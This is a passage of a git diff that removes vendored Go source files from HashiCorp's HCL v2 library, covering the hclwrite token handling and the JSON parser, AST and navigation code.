children.AppendUnstructuredTokens(inAfter.Tokens()) - return before, newNode(step), after - - case hcl.TraverseIndex: - step := newTraverseIndex() - children = step.inTree.children - before, from, after = from.Partition(nativeStep.SourceRange()) - - if inBefore, dot, from, ok := from.PartitionTypeOk(hclsyntax.TokenDot); ok { - children.AppendUnstructuredTokens(inBefore.Tokens()) - children.AppendUnstructuredTokens(dot.Tokens()) - - valBefore, valToken, valAfter := from.PartitionTypeSingle(hclsyntax.TokenNumberLit) - children.AppendUnstructuredTokens(valBefore.Tokens()) - key := newNumber(valToken) - step.key = children.Append(key) - children.AppendUnstructuredTokens(valAfter.Tokens()) - - return before, newNode(step), after - } - - var inBefore, oBrack, keyTokens, cBrack inputTokens - inBefore, oBrack, from = from.PartitionType(hclsyntax.TokenOBrack) - children.AppendUnstructuredTokens(inBefore.Tokens()) - children.AppendUnstructuredTokens(oBrack.Tokens()) - keyTokens, cBrack, from = from.PartitionType(hclsyntax.TokenCBrack) - - keyVal := tNativeStep.Key - switch keyVal.Type() { - case cty.String: - key := newQuoted(keyTokens.Tokens()) - step.key = children.Append(key) - case cty.Number: - valBefore, valToken, valAfter := keyTokens.PartitionTypeSingle(hclsyntax.TokenNumberLit) - children.AppendUnstructuredTokens(valBefore.Tokens()) - key := newNumber(valToken) - step.key = children.Append(key) - children.AppendUnstructuredTokens(valAfter.Tokens()) - } - - children.AppendUnstructuredTokens(cBrack.Tokens()) - children.AppendUnstructuredTokens(from.Tokens()) - - return before, newNode(step), after - default: - panic(fmt.Sprintf("unsupported traversal step type %T", nativeStep)) - } - -} - -// writerTokens takes a sequence of tokens as produced by the main hclsyntax -// package and transforms it into an equivalent sequence of tokens using -// this package's own token model. -// -// The resulting list contains the same number of tokens and uses the same -// indices as the input, allowing the two sets of tokens to be correlated -// by index. -func writerTokens(nativeTokens hclsyntax.Tokens) Tokens { - // Ultimately we want a slice of token _pointers_, but since we can - // predict how much memory we're going to devote to tokens we'll allocate - // it all as a single flat buffer and thus give the GC less work to do. - tokBuf := make([]Token, len(nativeTokens)) - var lastByteOffset int - for i, mainToken := range nativeTokens { - // Create a copy of the bytes so that we can mutate without - // corrupting the original token stream. - bytes := make([]byte, len(mainToken.Bytes)) - copy(bytes, mainToken.Bytes) - - tokBuf[i] = Token{ - Type: mainToken.Type, - Bytes: bytes, - - // We assume here that spaces are always ASCII spaces, since - // that's what the scanner also assumes, and thus the number - // of bytes skipped is also the number of space characters. - SpacesBefore: mainToken.Range.Start.Byte - lastByteOffset, - } - - lastByteOffset = mainToken.Range.End.Byte - } - - // Now make a slice of pointers into the previous slice. - ret := make(Tokens, len(tokBuf)) - for i := range ret { - ret[i] = &tokBuf[i] - } - - return ret -} - -// partitionTokens takes a sequence of tokens and a hcl.Range and returns -// two indices within the token sequence that correspond with the range -// boundaries, such that the slice operator could be used to produce -// three token sequences for before, within, and after respectively: -// -// start, end := partitionTokens(toks, rng) -// before := toks[:start] -// within := toks[start:end] -// after := toks[end:] -// -// This works best when the range is aligned with token boundaries (e.g. -// because it was produced in terms of the scanner's result) but if that isn't -// true then it will make a best effort that may produce strange results at -// the boundaries. -// -// Native hclsyntax tokens are used here, because they contain the necessary -// absolute position information. However, since writerTokens produces a -// correlatable sequence of writer tokens, the resulting indices can be -// used also to index into its result, allowing the partitioning of writer -// tokens to be driven by the partitioning of native tokens. -// -// The tokens are assumed to be in source order and non-overlapping, which -// will be true if the token sequence from the scanner is used directly. -func partitionTokens(toks hclsyntax.Tokens, rng hcl.Range) (start, end int) { - // We use a linear search here because we assume that in most cases our - // target range is close to the beginning of the sequence, and the sequences - // are generally small for most reasonable files anyway. - for i := 0; ; i++ { - if i >= len(toks) { - // No tokens for the given range at all! - return len(toks), len(toks) - } - - if toks[i].Range.Start.Byte >= rng.Start.Byte { - start = i - break - } - } - - for i := start; ; i++ { - if i >= len(toks) { - // The range "hangs off" the end of the token sequence - return start, len(toks) - } - - if toks[i].Range.Start.Byte >= rng.End.Byte { - end = i // end marker is exclusive - break - } - } - - return start, end -} - -// partitionLeadCommentTokens takes a sequence of tokens that is assumed -// to immediately precede a construct that can have lead comment tokens, -// and returns the index into that sequence where the lead comments begin. -// -// Lead comments are defined as whole lines containing only comment tokens -// with no blank lines between. If no such lines are found, the returned -// index will be len(toks). -func partitionLeadCommentTokens(toks hclsyntax.Tokens) int { - // single-line comments (which is what we're interested in here) - // consume their trailing newline, so we can just walk backwards - // until we stop seeing comment tokens. - for i := len(toks) - 1; i >= 0; i-- { - if toks[i].Type != hclsyntax.TokenComment { - return i + 1 - } - } - return 0 -} - -// partitionLineEndTokens takes a sequence of tokens that is assumed -// to immediately follow a construct that can have a line comment, and -// returns first the index where any line comments end and then second -// the index immediately after the trailing newline. -// -// Line comments are defined as comments that appear immediately after -// a construct on the same line where its significant tokens ended. -// -// Since single-line comment tokens (# and //) include the newline that -// terminates them, in the presence of these the two returned indices -// will be the same since the comment itself serves as the line end. -func partitionLineEndTokens(toks hclsyntax.Tokens) (afterComment, afterNewline int) { - for i := 0; i < len(toks); i++ { - tok := toks[i] - if tok.Type != hclsyntax.TokenComment { - switch tok.Type { - case hclsyntax.TokenNewline: - return i, i + 1 - case hclsyntax.TokenEOF: - // Although this is valid, we mustn't include the EOF - // itself as our "newline" or else strange things will - // happen when we try to append new items. - return i, i - default: - // If we have well-formed input here then nothing else should be - // possible. This path should never happen, because we only try - // to extract tokens from the sequence if the parser succeeded, - // and it should catch this problem itself. - panic("malformed line trailers: expected only comments and newlines") - } - } - - if len(tok.Bytes) > 0 && tok.Bytes[len(tok.Bytes)-1] == '\n' { - // Newline at the end of a single-line comment serves both as - // the end of comments *and* the end of the line. - return i + 1, i + 1 - } - } - return len(toks), len(toks) -} - -// lexConfig uses the hclsyntax scanner to get a token stream and then -// rewrites it into this package's token model. -// -// Any errors produced during scanning are ignored, so the results of this -// function should be used with care. -func lexConfig(src []byte) Tokens { - mainTokens, _ := hclsyntax.LexConfig(src, "", hcl.Pos{Byte: 0, Line: 1, Column: 1}) - return writerTokens(mainTokens) -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclwrite/public.go b/vendor/github.com/hashicorp/hcl/v2/hclwrite/public.go deleted file mode 100644 index 678a3aa457..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclwrite/public.go +++ /dev/null @@ -1,44 +0,0 @@ -package hclwrite - -import ( - "bytes" - - "github.com/hashicorp/hcl/v2" -) - -// NewFile creates a new file object that is empty and ready to have constructs -// added t it. -func NewFile() *File { - body := &Body{ - inTree: newInTree(), - items: newNodeSet(), - } - file := &File{ - inTree: newInTree(), - } - file.body = file.inTree.children.Append(body) - return file -} - -// ParseConfig interprets the given source bytes into a *hclwrite.File. The -// resulting AST can be used to perform surgical edits on the source code -// before turning it back into bytes again. -func ParseConfig(src []byte, filename string, start hcl.Pos) (*File, hcl.Diagnostics) { - return parse(src, filename, start) -} - -// Format takes source code and performs simple whitespace changes to transform -// it to a canonical layout style. -// -// Format skips constructing an AST and works directly with tokens, so it -// is less expensive than formatting via the AST for situations where no other -// changes will be made. It also ignores syntax errors and can thus be applied -// to partial source code, although the result in that case may not be -// desirable. -func Format(src []byte) []byte { - tokens := lexConfig(src) - format(tokens) - buf := &bytes.Buffer{} - tokens.WriteTo(buf) - return buf.Bytes() -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclwrite/tokens.go b/vendor/github.com/hashicorp/hcl/v2/hclwrite/tokens.go deleted file mode 100644 index 7d21d09dde..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclwrite/tokens.go +++ /dev/null @@ -1,122 +0,0 @@ -package hclwrite - -import ( - "bytes" - "io" - - "github.com/apparentlymart/go-textseg/v12/textseg" - "github.com/hashicorp/hcl/v2" - "github.com/hashicorp/hcl/v2/hclsyntax" -) - -// Token is a single sequence of bytes annotated with a type. It is similar -// in purpose to hclsyntax.Token, but discards the source position information -// since that is not useful in code generation. -type Token struct { - Type hclsyntax.TokenType - Bytes []byte - - // We record the number of spaces before each token so that we can - // reproduce the exact layout of the original file when we're making - // surgical changes in-place. When _new_ code is created it will always - // be in the canonical style, but we preserve layout of existing code. - SpacesBefore int -} - -// asHCLSyntax returns the receiver expressed as an incomplete hclsyntax.Token. -// A complete token is not possible since we don't have source location -// information here, and so this method is unexported so we can be sure it will -// only be used for internal purposes where we know the range isn't important. -// -// This is primarily intended to allow us to re-use certain functionality from -// hclsyntax rather than re-implementing it against our own token type here. -func (t *Token) asHCLSyntax() hclsyntax.Token { - return hclsyntax.Token{ - Type: t.Type, - Bytes: t.Bytes, - Range: hcl.Range{ - Filename: "", - }, - } -} - -// Tokens is a flat list of tokens. -type Tokens []*Token - -func (ts Tokens) Bytes() []byte { - buf := &bytes.Buffer{} - ts.WriteTo(buf) - return buf.Bytes() -} - -func (ts Tokens) testValue() string { - return string(ts.Bytes()) -} - -// Columns returns the number of columns (grapheme clusters) the token sequence -// occupies. The result is not meaningful if there are newline or single-line -// comment tokens in the sequence. -func (ts Tokens) Columns() int { - ret := 0 - for _, token := range ts { - ret += token.SpacesBefore // spaces are always worth one column each - ct, _ := textseg.TokenCount(token.Bytes, textseg.ScanGraphemeClusters) - ret += ct - } - return ret -} - -// WriteTo takes an io.Writer and writes the bytes for each token to it, -// along with the spacing that separates each token. In other words, this -// allows serializing the tokens to a file or other such byte stream. -func (ts Tokens) WriteTo(wr io.Writer) (int64, error) { - // We know we're going to be writing a lot of small chunks of repeated - // space characters, so we'll prepare a buffer of these that we can - // easily pass to wr.Write without any further allocation. - spaces := make([]byte, 40) - for i := range spaces { - spaces[i] = ' ' - } - - var n int64 - var err error - for _, token := range ts { - if err != nil { - return n, err - } - - for spacesBefore := token.SpacesBefore; spacesBefore > 0; spacesBefore -= len(spaces) { - thisChunk := spacesBefore - if thisChunk > len(spaces) { - thisChunk = len(spaces) - } - var thisN int - thisN, err = wr.Write(spaces[:thisChunk]) - n += int64(thisN) - if err != nil { - return n, err - } - } - - var thisN int - thisN, err = wr.Write(token.Bytes) - n += int64(thisN) - } - - return n, err -} - -func (ts Tokens) walkChildNodes(w internalWalkFunc) { - // Unstructured tokens have no child nodes -} - -func (ts Tokens) BuildTokens(to Tokens) Tokens { - return append(to, ts...) -} - -func newIdentToken(name string) *Token { - return &Token{ - Type: hclsyntax.TokenIdent, - Bytes: []byte(name), - } -} diff --git a/vendor/github.com/hashicorp/hcl/v2/json/ast.go b/vendor/github.com/hashicorp/hcl/v2/json/ast.go deleted file mode 100644 index 9c580ca347..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/json/ast.go +++ /dev/null @@ -1,121 +0,0 @@ -package json - -import ( - "math/big" - - "github.com/hashicorp/hcl/v2" -) - -type node interface { - Range() hcl.Range - StartRange() hcl.Range -} - -type objectVal struct { - Attrs []*objectAttr - SrcRange hcl.Range // range of the entire object, brace-to-brace - OpenRange hcl.Range // range of the opening brace - CloseRange hcl.Range // range of the closing brace -} - -func (n *objectVal) Range() hcl.Range { - return n.SrcRange -} - -func (n *objectVal) StartRange() hcl.Range { - return n.OpenRange -} - -type objectAttr struct { - Name string - Value node - NameRange hcl.Range // range of the name string -} - -func (n *objectAttr) Range() hcl.Range { - return n.NameRange -} - -func (n *objectAttr) StartRange() hcl.Range { - return n.NameRange -} - -type arrayVal struct { - Values []node - SrcRange hcl.Range // range of the entire object, bracket-to-bracket - OpenRange hcl.Range // range of the opening bracket -} - -func (n *arrayVal) Range() hcl.Range { - return n.SrcRange -} - -func (n *arrayVal) StartRange() hcl.Range { - return n.OpenRange -} - -type booleanVal struct { - Value bool - SrcRange hcl.Range -} - -func (n *booleanVal) Range() hcl.Range { - return n.SrcRange -} - -func (n *booleanVal) StartRange() hcl.Range { - return n.SrcRange -} - -type numberVal struct { - Value *big.Float - SrcRange hcl.Range -} - -func (n *numberVal) Range() hcl.Range { - return n.SrcRange -} - -func (n *numberVal) StartRange() hcl.Range { - return n.SrcRange -} - -type stringVal struct { - Value string - SrcRange hcl.Range -} - -func (n *stringVal) Range() hcl.Range { - return n.SrcRange -} - -func (n *stringVal) StartRange() hcl.Range { - return n.SrcRange -} - -type nullVal struct { - SrcRange hcl.Range -} - -func (n *nullVal) Range() hcl.Range { - return n.SrcRange -} - -func (n *nullVal) StartRange() hcl.Range { - return n.SrcRange -} - -// invalidVal is used as a placeholder where a value is needed for a valid -// parse tree but the input was invalid enough to prevent one from being -// created. -type invalidVal struct { - SrcRange hcl.Range -} - -func (n invalidVal) Range() hcl.Range { - return n.SrcRange -} - -func (n invalidVal) StartRange() hcl.Range { - return n.SrcRange -} diff --git a/vendor/github.com/hashicorp/hcl/v2/json/didyoumean.go b/vendor/github.com/hashicorp/hcl/v2/json/didyoumean.go deleted file mode 100644 index fbdd8bff50..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/json/didyoumean.go +++ /dev/null @@ -1,33 +0,0 @@ -package json - -import ( - "github.com/agext/levenshtein" -) - -var keywords = []string{"false", "true", "null"} - -// keywordSuggestion tries to find a valid JSON keyword that is close to the -// given string and returns it if found. If no keyword is close enough, returns -// the empty string. -func keywordSuggestion(given string) string { - return nameSuggestion(given, keywords) -} - -// nameSuggestion tries to find a name from the given slice of suggested names -// that is close to the given name and returns it if found. If no suggestion -// is close enough, returns the empty string. -// -// The suggestions are tried in order, so earlier suggestions take precedence -// if the given string is similar to two or more suggestions. -// -// This function is intended to be used with a relatively-small number of -// suggestions. It's not optimized for hundreds or thousands of them. -func nameSuggestion(given string, suggestions []string) string { - for _, suggestion := range suggestions { - dist := levenshtein.Distance(given, suggestion, nil) - if dist < 3 { // threshold determined experimentally - return suggestion - } - } - return "" -} diff --git a/vendor/github.com/hashicorp/hcl/v2/json/doc.go b/vendor/github.com/hashicorp/hcl/v2/json/doc.go deleted file mode 100644 index 84d731939f..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/json/doc.go +++ /dev/null @@ -1,12 +0,0 @@ -// Package json is the JSON parser for HCL. It parses JSON files and returns -// implementations of the core HCL structural interfaces in terms of the -// JSON data inside. -// -// This is not a generic JSON parser. Instead, it deals with the mapping from -// the JSON information model to the HCL information model, using a number -// of hard-coded structural conventions. -// -// In most cases applications will not import this package directly, but will -// instead access its functionality indirectly through functions in the main -// "hcl" package and in the "hclparse" package. -package json diff --git a/vendor/github.com/hashicorp/hcl/v2/json/navigation.go b/vendor/github.com/hashicorp/hcl/v2/json/navigation.go deleted file mode 100644 index bc8a97f749..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/json/navigation.go +++ /dev/null @@ -1,70 +0,0 @@ -package json - -import ( - "fmt" - "strings" -) - -type navigation struct { - root node -} - -// Implementation of hcled.ContextString -func (n navigation) ContextString(offset int) string { - steps := navigationStepsRev(n.root, offset) - if steps == nil { - return "" - } - - // We built our slice backwards, so we'll reverse it in-place now. - half := len(steps) / 2 // integer division - for i := 0; i < half; i++ { - steps[i], steps[len(steps)-1-i] = steps[len(steps)-1-i], steps[i] - } - - ret := strings.Join(steps, "") - if len(ret) > 0 && ret[0] == '.' { - ret = ret[1:] - } - return ret -} - -func navigationStepsRev(v node, offset int) []string { - switch tv := v.(type) { - case *objectVal: - // Do any of our properties have an object that contains the target - // offset? - for _, attr := range tv.Attrs { - k := attr.Name - av := attr.Value - - switch av.(type) { - case *objectVal, *arrayVal: - // okay - default: - continue - } - - if av.Range().ContainsOffset(offset) { - return append(navigationStepsRev(av, offset), "."+k) - } - } - case *arrayVal: - // Do any of our elements contain the target offset? - for i, elem := range tv.Values { - - switch elem.(type) { - case *objectVal, *arrayVal: - // okay - default: - continue - } - - if elem.Range().ContainsOffset(offset) { - return append(navigationStepsRev(elem, offset), fmt.Sprintf("[%d]", i)) - } - } - } - - return nil -} diff --git a/vendor/github.com/hashicorp/hcl/v2/json/parser.go b/vendor/github.com/hashicorp/hcl/v2/json/parser.go deleted file mode 100644 index 7a54c51b6e..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/json/parser.go +++ /dev/null @@ -1,496 +0,0 @@ -package json - -import ( - "encoding/json" - "fmt" - - "github.com/hashicorp/hcl/v2" - "github.com/zclconf/go-cty/cty" -) - -func parseFileContent(buf []byte, filename string) (node, hcl.Diagnostics) { - tokens := scan(buf, pos{ - Filename: filename, - Pos: hcl.Pos{ - Byte: 0, - Line: 1, - Column: 1, - }, - }) - p := newPeeker(tokens) - node, diags := parseValue(p) - if len(diags) == 0 && p.Peek().Type != tokenEOF { - diags = diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Extraneous data after value", - Detail: "Extra characters appear after the JSON value.", - Subject: p.Peek().Range.Ptr(), - }) - } - return node, diags -} - -func parseValue(p *peeker) (node, hcl.Diagnostics) { - tok := p.Peek() - - wrapInvalid := func(n node, diags hcl.Diagnostics) (node, hcl.Diagnostics) { - if n != nil { - return n, diags - } - return invalidVal{tok.Range}, diags - } - - switch tok.Type { - case tokenBraceO: - return wrapInvalid(parseObject(p)) - case tokenBrackO: - return wrapInvalid(parseArray(p)) - case tokenNumber: - return wrapInvalid(parseNumber(p)) - case tokenString: - return wrapInvalid(parseString(p)) - case tokenKeyword: - return wrapInvalid(parseKeyword(p)) - case tokenBraceC: - return wrapInvalid(nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Missing JSON value", - Detail: "A JSON value must start with a brace, a bracket, a number, a string, or a keyword.", - Subject: &tok.Range, - }, - }) - case tokenBrackC: - return wrapInvalid(nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Missing array element value", - Detail: "A JSON value must start with a brace, a bracket, a number, a string, or a keyword.", - Subject: &tok.Range, - }, - }) - case tokenEOF: - return wrapInvalid(nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Missing value", - Detail: "The JSON data ends prematurely.", - Subject: &tok.Range, - }, - }) - default: - return wrapInvalid(nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Invalid start of value", - Detail: "A JSON value must start with a brace, a bracket, a number, a string, or a keyword.", - Subject: &tok.Range, - }, - }) - } -} - -func tokenCanStartValue(tok token) bool { - switch tok.Type { - case tokenBraceO, tokenBrackO, tokenNumber, tokenString, tokenKeyword: - return true - default: - return false - } -} - -func parseObject(p *peeker) (node, hcl.Diagnostics) { - var diags hcl.Diagnostics - - open := p.Read() - attrs := []*objectAttr{} - - // recover is used to shift the peeker to what seems to be the end of - // our object, so that when we encounter an error we leave the peeker - // at a reasonable point in the token stream to continue parsing. - recover := func(tok token) { - open := 1 - for { - switch tok.Type { - case tokenBraceO: - open++ - case tokenBraceC: - open-- - if open <= 1 { - return - } - case tokenEOF: - // Ran out of source before we were able to recover, - // so we'll bail here and let the caller deal with it. - return - } - tok = p.Read() - } - } - -Token: - for { - if p.Peek().Type == tokenBraceC { - break Token - } - - keyNode, keyDiags := parseValue(p) - diags = diags.Extend(keyDiags) - if keyNode == nil { - return nil, diags - } - - keyStrNode, ok := keyNode.(*stringVal) - if !ok { - return nil, diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid object property name", - Detail: "A JSON object property name must be a string", - Subject: keyNode.StartRange().Ptr(), - }) - } - - key := keyStrNode.Value - - colon := p.Read() - if colon.Type != tokenColon { - recover(colon) - - if colon.Type == tokenBraceC || colon.Type == tokenComma { - // Catch common mistake of using braces instead of brackets - // for an object. - return nil, diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing object value", - Detail: "A JSON object attribute must have a value, introduced by a colon.", - Subject: &colon.Range, - }) - } - - if colon.Type == tokenEquals { - // Possible confusion with native HCL syntax. - return nil, diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing property value colon", - Detail: "JSON uses a colon as its name/value delimiter, not an equals sign.", - Subject: &colon.Range, - }) - } - - return nil, diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing property value colon", - Detail: "A colon must appear between an object property's name and its value.", - Subject: &colon.Range, - }) - } - - valNode, valDiags := parseValue(p) - diags = diags.Extend(valDiags) - if valNode == nil { - return nil, diags - } - - attrs = append(attrs, &objectAttr{ - Name: key, - Value: valNode, - NameRange: keyStrNode.SrcRange, - }) - - switch p.Peek().Type { - case tokenComma: - comma := p.Read() - if p.Peek().Type == tokenBraceC { - // Special error message for this common mistake - return nil, diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Trailing comma in object", - Detail: "JSON does not permit a trailing comma after the final property in an object.", - Subject: &comma.Range, - }) - } - continue Token - case tokenEOF: - return nil, diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unclosed object", - Detail: "No closing brace was found for this JSON object.", - Subject: &open.Range, - }) - case tokenBrackC: - // Consume the bracket anyway, so that we don't return with the peeker - // at a strange place. - p.Read() - return nil, diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Mismatched braces", - Detail: "A JSON object must be closed with a brace, not a bracket.", - Subject: p.Peek().Range.Ptr(), - }) - case tokenBraceC: - break Token - default: - recover(p.Read()) - return nil, diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing attribute seperator comma", - Detail: "A comma must appear between each property definition in an object.", - Subject: p.Peek().Range.Ptr(), - }) - } - - } - - close := p.Read() - return &objectVal{ - Attrs: attrs, - SrcRange: hcl.RangeBetween(open.Range, close.Range), - OpenRange: open.Range, - CloseRange: close.Range, - }, diags -} - -func parseArray(p *peeker) (node, hcl.Diagnostics) { - var diags hcl.Diagnostics - - open := p.Read() - vals := []node{} - - // recover is used to shift the peeker to what seems to be the end of - // our array, so that when we encounter an error we leave the peeker - // at a reasonable point in the token stream to continue parsing. - recover := func(tok token) { - open := 1 - for { - switch tok.Type { - case tokenBrackO: - open++ - case tokenBrackC: - open-- - if open <= 1 { - return - } - case tokenEOF: - // Ran out of source before we were able to recover, - // so we'll bail here and let the caller deal with it. - return - } - tok = p.Read() - } - } - -Token: - for { - if p.Peek().Type == tokenBrackC { - break Token - } - - valNode, valDiags := parseValue(p) - diags = diags.Extend(valDiags) - if valNode == nil { - return nil, diags - } - - vals = append(vals, valNode) - - switch p.Peek().Type { - case tokenComma: - comma := p.Read() - if p.Peek().Type == tokenBrackC { - // Special error message for this common mistake - return nil, diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Trailing comma in array", - Detail: "JSON does not permit a trailing comma after the final value in an array.", - Subject: &comma.Range, - }) - } - continue Token - case tokenColon: - recover(p.Read()) - return nil, diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid array value", - Detail: "A colon is not used to introduce values in a JSON array.", - Subject: p.Peek().Range.Ptr(), - }) - case tokenEOF: - recover(p.Read()) - return nil, diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unclosed object", - Detail: "No closing bracket was found for this JSON array.", - Subject: &open.Range, - }) - case tokenBraceC: - recover(p.Read()) - return nil, diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Mismatched brackets", - Detail: "A JSON array must be closed with a bracket, not a brace.", - Subject: p.Peek().Range.Ptr(), - }) - case tokenBrackC: - break Token - default: - recover(p.Read()) - return nil, diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing attribute seperator comma", - Detail: "A comma must appear between each value in an array.", - Subject: p.Peek().Range.Ptr(), - }) - } - - } - - close := p.Read() - return &arrayVal{ - Values: vals, - SrcRange: hcl.RangeBetween(open.Range, close.Range), - OpenRange: open.Range, - }, diags -} - -func parseNumber(p *peeker) (node, hcl.Diagnostics) { - tok := p.Read() - - // Use encoding/json to validate the number syntax. - // TODO: Do this more directly to produce better diagnostics. - var num json.Number - err := json.Unmarshal(tok.Bytes, &num) - if err != nil { - return nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Invalid JSON number", - Detail: fmt.Sprintf("There is a syntax error in the given JSON number."), - Subject: &tok.Range, - }, - } - } - - // We want to guarantee that we parse numbers the same way as cty (and thus - // native syntax HCL) would here, so we'll use the cty parser even though - // in most other cases we don't actually introduce cty concepts until - // decoding time. We'll unwrap the parsed float immediately afterwards, so - // the cty value is just a temporary helper. - nv, err := cty.ParseNumberVal(string(num)) - if err != nil { - // Should never happen if above passed, since JSON numbers are a subset - // of what cty can parse... - return nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Invalid JSON number", - Detail: fmt.Sprintf("There is a syntax error in the given JSON number."), - Subject: &tok.Range, - }, - } - } - - return &numberVal{ - Value: nv.AsBigFloat(), - SrcRange: tok.Range, - }, nil -} - -func parseString(p *peeker) (node, hcl.Diagnostics) { - tok := p.Read() - var str string - err := json.Unmarshal(tok.Bytes, &str) - - if err != nil { - var errRange hcl.Range - if serr, ok := err.(*json.SyntaxError); ok { - errOfs := serr.Offset - errPos := tok.Range.Start - errPos.Byte += int(errOfs) - - // TODO: Use the byte offset to properly count unicode - // characters for the column, and mark the whole of the - // character that was wrong as part of our range. - errPos.Column += int(errOfs) - - errEndPos := errPos - errEndPos.Byte++ - errEndPos.Column++ - - errRange = hcl.Range{ - Filename: tok.Range.Filename, - Start: errPos, - End: errEndPos, - } - } else { - errRange = tok.Range - } - - var contextRange *hcl.Range - if errRange != tok.Range { - contextRange = &tok.Range - } - - // FIXME: Eventually we should parse strings directly here so - // we can produce a more useful error message in the face fo things - // such as invalid escapes, etc. - return nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Invalid JSON string", - Detail: fmt.Sprintf("There is a syntax error in the given JSON string."), - Subject: &errRange, - Context: contextRange, - }, - } - } - - return &stringVal{ - Value: str, - SrcRange: tok.Range, - }, nil -} - -func parseKeyword(p *peeker) (node, hcl.Diagnostics) { - tok := p.Read() - s := string(tok.Bytes) - - switch s { - case "true": - return &booleanVal{ - Value: true, - SrcRange: tok.Range, - }, nil - case "false": - return &booleanVal{ - Value: false, - SrcRange: tok.Range, - }, nil - case "null": - return &nullVal{ - SrcRange: tok.Range, - }, nil - case "undefined", "NaN", "Infinity": - return nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Invalid JSON keyword", - Detail: fmt.Sprintf("The JavaScript identifier %q cannot be used in JSON.", s), - Subject: &tok.Range, - }, - } - default: - var dym string - if suggest := keywordSuggestion(s); suggest != "" { - dym = fmt.Sprintf(" Did you mean %q?", suggest) - } - - return nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Invalid JSON keyword", - Detail: fmt.Sprintf("%q is not a valid JSON keyword.%s", s, dym), - Subject: &tok.Range, - }, - } - } -} diff --git a/vendor/github.com/hashicorp/hcl/v2/json/peeker.go b/vendor/github.com/hashicorp/hcl/v2/json/peeker.go deleted file mode 100644 index fc7bbf5827..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/json/peeker.go +++ /dev/null @@ -1,25 +0,0 @@ -package json - -type peeker struct { - tokens []token - pos int -} - -func newPeeker(tokens []token) *peeker { - return &peeker{ - tokens: tokens, - pos: 0, - } -} - -func (p *peeker) Peek() token { - return p.tokens[p.pos] -} - -func (p *peeker) Read() token { - ret := p.tokens[p.pos] - if ret.Type != tokenEOF { - p.pos++ - } - return ret -} diff --git a/vendor/github.com/hashicorp/hcl/v2/json/public.go b/vendor/github.com/hashicorp/hcl/v2/json/public.go deleted file mode 100644 index 8dc4a36afe..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/json/public.go +++ /dev/null @@ -1,94 +0,0 @@ -package json - -import ( - "fmt" - "io/ioutil" - "os" - - "github.com/hashicorp/hcl/v2" -) - -// Parse attempts to parse the given buffer as JSON and, if successful, returns -// a hcl.File for the HCL configuration represented by it. -// -// This is not a generic JSON parser. Instead, it deals only with the profile -// of JSON used to express HCL configuration. -// -// The returned file is valid only if the returned diagnostics returns false -// from its HasErrors method. If HasErrors returns true, the file represents -// the subset of data that was able to be parsed, which may be none. -func Parse(src []byte, filename string) (*hcl.File, hcl.Diagnostics) { - rootNode, diags := parseFileContent(src, filename) - - switch rootNode.(type) { - case *objectVal, *arrayVal: - // okay - default: - diags = diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Root value must be object", - Detail: "The root value in a JSON-based configuration must be either a JSON object or a JSON array of objects.", - Subject: rootNode.StartRange().Ptr(), - }) - - // Since we've already produced an error message for this being - // invalid, we'll return an empty placeholder here so that trying to - // extract content from our root body won't produce a redundant - // error saying the same thing again in more general terms. - fakePos := hcl.Pos{ - Byte: 0, - Line: 1, - Column: 1, - } - fakeRange := hcl.Range{ - Filename: filename, - Start: fakePos, - End: fakePos, - } - rootNode = &objectVal{ - Attrs: []*objectAttr{}, - SrcRange: fakeRange, - OpenRange: fakeRange, - } - } - - file := &hcl.File{ - Body: &body{ - val: rootNode, - }, - Bytes: src, - Nav: navigation{rootNode}, - } - return file, diags -} - -// ParseFile is a convenience wrapper around Parse that first attempts to load -// data from the given filename, passing the result to Parse if successful. -// -// If the file cannot be read, an error diagnostic with nil context is returned. -func ParseFile(filename string) (*hcl.File, hcl.Diagnostics) { - f, err := os.Open(filename) - if err != nil { - return nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Failed to open file", - Detail: fmt.Sprintf("The file %q could not be opened.", filename), - }, - } - } - defer f.Close() - - src, err := ioutil.ReadAll(f) - if err != nil { - return nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Failed to read file", - Detail: fmt.Sprintf("The file %q was opened, but an error occured while reading it.", filename), - }, - } - } - - return Parse(src, filename) -} diff --git a/vendor/github.com/hashicorp/hcl/v2/json/scanner.go 